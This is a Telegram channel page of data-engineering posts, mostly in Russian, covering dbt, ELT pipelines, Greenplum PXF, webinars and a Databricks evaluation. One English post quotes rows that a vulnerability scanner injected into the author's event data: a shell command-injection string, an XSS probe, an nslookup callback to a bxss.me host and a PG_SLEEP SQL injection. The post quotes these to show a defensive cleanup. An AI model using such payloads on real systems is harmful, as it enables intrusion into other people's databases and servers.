Data Apps Design
1.54K subscribers
143 photos
2 videos
41 files
231 links
В этом блоге я публикую свои выводы и мнения на работу в Data:

— Data Integration
— Database engines
— Data Modeling
— Business Intelligence
— Semantic Layer
— DataOps and DevOps
— Orchestrating jobs & DAGs
— Business Impact and Value
Download Telegram
Мы могли бы долго и нудно обсуждать, кто такой Analytics (Data / Backend) Engineer, какими инструментами он должен владеть, какие buzzwords в тренде и ценятся в CV, однако, на мой взгляд, гораздо интереснее рассмотреть процесс и результаты его деятельности в рамках конкретной прикладной задачи.

В этой публикации:

— Что значит решение End-to-End и в чем его ценность?
— Организация Extract & Load данных из асинхронного API MaestroQA
— Моделирование витрин данных с помощью dbt
— Поставка ценности для пользователей с помощью Looker

Читать на Хабр →

#pipelines #ELT #dwh #modeling #bi
Одна из самых важных идей заключается в том, что заказчик, кем бы он ни был (Manager, Product Owner, CEO), почти никогда не ставит задачу в инженерных терминах:

— Налить 100500 гигабайт в Хранилище
— Добавить multithreading в код
— Написать супероптимальный запрос
— Создать 15 dbt-моделей

За любой инженерной задачей стоит решение конкретных бизнес-проблем. Для нас это:

— Прозрачность Customer Support (фиксируем все оценки, инциденты)
— Результативность на ладони (отслеживаем динамику показателей во времени)
— Отчитываемся о KPI команд поддержки (агрегирующие показатели по командам, городам, странам и т.д.)
— Получаем обратную связь и исправляем ошибки (идентификация слабых/проблемных мест и быстрый feedback)
— Постоянно учимся и разбираем кейсы (категоризация тем, организация тренингов и разборов)

И это ключевой фокус, который отличает Analytics Engineer от, например, классических Data Engineer, Backend Engineer.
Привет! Сегодня и завтра 23-24 мая в 20.00 приглашаю на вебинар из 2-х частей (интенсив).

Extract - Load как сервис и как собственное решение. Поиск баланса и дзен

– SaaS решения и их ограничения
– Выгрузки через API-вызовы – оптимальные способы реализации
– Гибридные подходы
– Автоматизация выгрузки, retries, notifications с помощью Airflow
– Накопление истории и организация Data Lake в S3 перед DWH

Рассмотрим опыт построения production pipelines, взвесим плюсы и минусы, сделаем выводы.

Ссылка на регистрацию: https://otus.ru/lessons/data-engineer/#event-2024
Ссылка на YouTube-трансляцию будет опубликована здесь за 5 минут до начала.

🌐 @data_apps | Навигация по каналу
Please open Telegram to view this post
VIEW IN TELEGRAM
Привет! Сегодня продолжаем – 2 часть вебинара:

Extract - Load как сервис и как собственное решение. Поиск баланса и дзен

– 1. In-house EL + LIVE MaestroQA + Airflow
– 2. Гибридные подходы + LIVE Airbyte
– 3. Жизнь после EL – Transform & Deliver – dbt + Looker

Опыт production pipelines, взвесим, сравним плюсы и минусы.

Ссылка на YouTube-трансляцию: https://youtu.be/hoqM7gfqQNg
This media is not supported in your browser
VIEW IN TELEGRAM
Жизнь на болотах
Или когда лягушки активизируются во время вебинара

#humor
Во вторник 14 июня в 19.00 в рамках развития сообщества @dbt_users будет проведен второй митап, посвященный инструменту dbt.

Интереснейшие доклады ребят из Wheely, ADV/web-engineering co., Space307 и NabuMinds:

– dbt + Clickhouse: кластер, версионирование данных и другие сложности реализации
– Data Quality в Modern Data Stack
– Зрелость dbt-проекта. Есть, куда расти?
– dbt в etl-командах: снимаем типовые боли байтовозов

Слоты фиксированы по времени, можно подключаться на любой доклад. После каждого доклада есть время на вопросы-ответы и общение.

Ссылка на ютуб придет как обычно перед началом митапа. До встречи 😉

https://space307.team/dbtmeetup
Мой доклад стартует в 19.05:

Зрелость DBT-проекта. Есть, куда расти?

– К чему стремимся, используя dbt?
– Матрица зрелости dbt-проекта
– Кейс Wheely + dbt
– Что дальше и как это использовать у себя
Слайды моего доклада с [dbt meetup]

Зрелость DBT-проекта. Есть, куда расти?

– К чему стремимся, используя dbt?
– Матрица зрелости dbt-проекта
– Кейс Wheely + dbt
– Что дальше и как это использовать у себя

#meetup

🌐 @data_apps | Навигация по каналу
Please open Telegram to view this post
VIEW IN TELEGRAM
A very useful and handy implementation of Load step from ELT acronym.

Use this example to build your own Extract - Load solution and take into account all the possible outcomes and issues you may face in advance:

– Handling duplicate rows (even when uniqueness constraint is not enforced)
– Coping with DELETEs on source side (hard deletes)
– Allowing data inspection and time travel with metadata attributes
– Examples for Amazon Redshift, Google BigQuery, Snowflake

https://docs.hevodata.com/data-loading/loading-data-to-warehouse/

#elt #pipelines
Сегодня хотел бы поговорить о широко распространенной СУБД Greenplum и, в частности, о Platform Extension Framework (PXF) - расширении, с помощью которого открываются почти неограниченные возможности интеграции с множеством внешних систем и форматов данных.

В этой публикации Вас ждет:

– Основные возможности PXF, конфигурация, способы оптимизации.
– Организация Extract - Load с помощью PXF (Data Lake / OLTP).
– Объединение локальных и внешних таблиц в запросах (Federated queries).
– Запись данных во внешние системы (Clickhouse).

Читать на Хабр →

#pipelines #ELT #dwh #greenplum #pxf
Ух, как же много материала, которым хочется поделиться.

Не всё успеваю публиковать. Подал заявку на доклад на конфе SmartData

Будете ждать? 🤔
Somebody is overwhelming our analytics trying to find security breaches.

A brief infrastructure setup: we gather user events data in mobile apps (iOS, Android) and Web via Snowplow trackers, send it to Kafka queues, then land the data into DWH (Redshift) staging area.

Looks like a vulnerability scanner is used. Take a look at the sample data:

echo bvazvs$()\ igzdlg\nz^xyu||a #' &echo bvazvs$()\ igzdlg\nz^xyu||a #|" &echo bvazvs$()\ igzdlg\nz^xyu||a #
bxss.me/t/xss.html?%00
`(nslookup hitxbheyywgyq5e37d.bxss.me||perl -e "gethostbyname('hitxbheyywgyq5e37d.bxss.me')")`
aUV52Y1o' OR 826=(SELECT 826 FROM PG_SLEEP(15))--
^(#$!@#$)(()))******

Despite basic checks are enforced (non-empty string, valid json), around 1k events managed to get into DWH 😐

What I've done so far:

1. Filtered out and deleted problem rows from database
2. Enforced data type checks

Curious case. Finally I have faced with tech pirates 😵‍💫

Let's see if it works fine. Any other ideas?
Data Apps Design
Ух, как же много материала, которым хочется поделиться. Не всё успеваю публиковать. Подал заявку на доклад на конфе SmartData Будете ждать? 🤔
Получил отказ

"Немного деталей, которые повлияли на наше решение:
То что вы применяете бест практики из разработки - это отлично, но для нашей конференции в докладе все же не хватает технического наполнения. Возможно, это потому что мы нацелины больше на инженеров, которые уже очень хорошо знакомы со системой контроля версий, CI/CD и вот это вот все. Нам кажется, что для нашей целевой аудитории доклад не будет иметь прикладной полезности."

Технические детали это: "Я говорила про различные вариации b-tree в движках, как пример того, насколько глубокие технические подробности нам интересны"

B-tree в аналитических СУБД и больших данных в 2022... Бугага 😂

Есть идеи, на какой RU конфе готовы слушать про Modern Data Stack / Analytics Engineering?
Про Сoalesce в курсе, но в этом году уже поздно.
Databricks + Wheely Proof of Concept

I will be assessing Databricks as our new data platform (to succeed AWS Redshift)

– Requirements to E - L - T
– Current setup description
– Proof of Concept plan

Desired business impact:

– Cost effective (at least compared to what we currently spend on AWS Redshift reserved flat rate)
– Performance gains desired
– Extended features support (H3, in-database ML, Advanced analytics, ...)
– Access to ecosystem (docs, solutions, code examples, how-to guides)
– Democratization of access to data and data-related services: built-in Notebook experience
– No degradation (performance, outage, timeouts, job failures) in comparison with current state

🌐 @data_apps | Навигация по каналу
Please open Telegram to view this post
VIEW IN TELEGRAM
👍11😍1
Data Apps Design
Databricks + Wheely Proof of Concept I will be assessing Databricks as our new data platform (to succeed AWS Redshift) – Requirements to E - L - T – Current setup description – Proof of Concept plan Desired business impact: – Cost effective (at least…
Very interesting. But what lacks in AWS Redshift?

AWS Redshift is really good. However
– Sometimes it seems to lack certain features (read GeoJSON, index geo data via H3 lib).
– It takes ~10 seconds to parse any query for the first time.
– I've faced with a couple of internal bugs (no. much affecting workloads, but still).
– I want to explore if I can save some costs if I use serverless solutions (pay as much as you have consumed compute resources).
– Using OSS formats like Parquet / Delta files might be beneficial

And I want to trial something else 😃🤔
👍42😁1🤔1
26 октября (среда) в 20:00 проведу вебинар:

Работа с ГЕО-данными в DWH: координаты, зоны, агрегация

– Привязка событий к зонам на карте города
– Агрегирование и аналитика данных с помощью H3 (гексагоны)
– Оптмизация расчетов и производительности, кэширование

Расскажу подробно, как это устроено в проекте Wheely, над которым я работаю.
Как и зачем индексировать данные (например, с использованием библиотеки H3 от Uber).
Выполнение гео-операций, проверка вхождения точки в конкретные зоны (аэропорты, вокзалы, ТЦ, районы города).

⬇️ Ссылка на YouTube-трансляцию будет в этом канале

🌐 @data_apps | Навигация по каналу
Please open Telegram to view this post
VIEW IN TELEGRAM
👍10🔥6